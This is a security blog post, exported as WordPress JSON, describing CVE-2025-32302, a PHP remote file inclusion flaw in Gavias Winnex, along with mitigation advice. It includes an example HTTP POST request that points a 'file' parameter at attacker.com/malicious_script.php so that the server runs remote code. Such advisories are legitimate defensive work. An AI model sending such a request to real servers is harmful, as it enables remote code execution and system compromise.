{"id":48259,"date":"2025-06-02T21:57:22","date_gmt":"2025-06-02T21:57:22","guid":{"rendered":""},"modified":"2025-10-04T00:32:24","modified_gmt":"2025-10-04T06:32:24","slug":"cve-2025-32302-critical-php-remote-file-inclusion-vulnerability-in-gavias-winnex","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32302-critical-php-remote-file-inclusion-vulnerability-in-gavias-winnex\/","title":{"rendered":"<strong>CVE-2025-32302: Critical PHP Remote File Inclusion Vulnerability in Gavias Winnex<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the constantly evolving world of cybersecurity, vulnerabilities are found and patched regularly. One such vulnerability has been discovered in Gavias Winnex, a popular content management system (CMS). This vulnerability has been assigned the identifier CVE-2025-32302 and poses a significant risk due to its potential to allow an attacker to compromise the system or leak <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48749-netwrix-directory-manager-s-sensitive-data-exposure-vulnerability\/\"  data-wpil-monitor-id=\"56737\">sensitive data<\/a>. The discovery of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41646-critical-authentication-bypass-vulnerability-in-affected-software-packages\/\"  data-wpil-monitor-id=\"59285\">vulnerability underscores the importance of maintaining up-to-date software<\/a> and applying patches promptly to mitigate the risk of a successful attack.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32302<br \/>\nSeverity: High (CVSS 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39495-high-critical-vulnerability-in-boldthemes-avantage-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"54200\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1637849369\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Gavias Winnex | up to 1.3.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The root of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13952-predictable-filename-vulnerabilities-in-aspect-software\/\"  data-wpil-monitor-id=\"55302\">vulnerability lies in the improper control of filename<\/a> for Include\/Require statement in a PHP program. This is commonly known as a &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46468-high-severity-php-local-file-inclusion-vulnerability-in-wpfable-fable-extra\/\"  data-wpil-monitor-id=\"54092\">PHP Remote File Inclusion<\/a>&#8216; (RFI) vulnerability. An RFI <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47637-critical-unrestricted-file-upload-vulnerability-in-staggs\/\"  data-wpil-monitor-id=\"54165\">vulnerability allows an attacker to include a remote file<\/a>, usually through a script on the web server, which can be executed locally. This can potentially lead to unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54340\">execution of arbitrary code<\/a>, system compromise, and data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4207465666\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"58859\">vulnerability might be exploited<\/a>. In this example, the attacker sends a malicious payload via a HTTP POST request to a vulnerable endpoint, exploiting the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55203\">PHP RFI vulnerability<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;file&quot;: &quot;http:\/\/attacker.com\/malicious_script.php&quot;\n}<\/code><\/pre>\n<p>In this example, the attacker is attempting to force the server to include and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48828-arbitrary-php-code-execution-in-vbulletin-via-template-conditionals\/\"  data-wpil-monitor-id=\"55716\">execute a malicious PHP<\/a> script hosted on their own server.<\/p>\n<p><strong>Recommendations and Mitigation<\/strong><\/p>\n<p>The most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-49842-critical-memory-corruption-vulnerability-in-protected-vm-address-space\/\"  data-wpil-monitor-id=\"58858\">protect against this vulnerability<\/a> is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.<br \/>\nAs a best practice, it is advisable to ensure all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25180-underprivileged-software-manipulates-gpu-system-calls-for-unauthorized-access\/\"  data-wpil-monitor-id=\"88775\">software and systems<\/a> are kept up-to-date and patches are applied as soon as they are released. Regular <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20260-buffer-overflow-vulnerability-in-clamav-s-pdf-scanning-process\/\"  data-wpil-monitor-id=\"62715\">vulnerability scanning<\/a> and penetration testing should be conducted to identify and remediate potential vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the constantly evolving world of cybersecurity, vulnerabilities are found and patched regularly. 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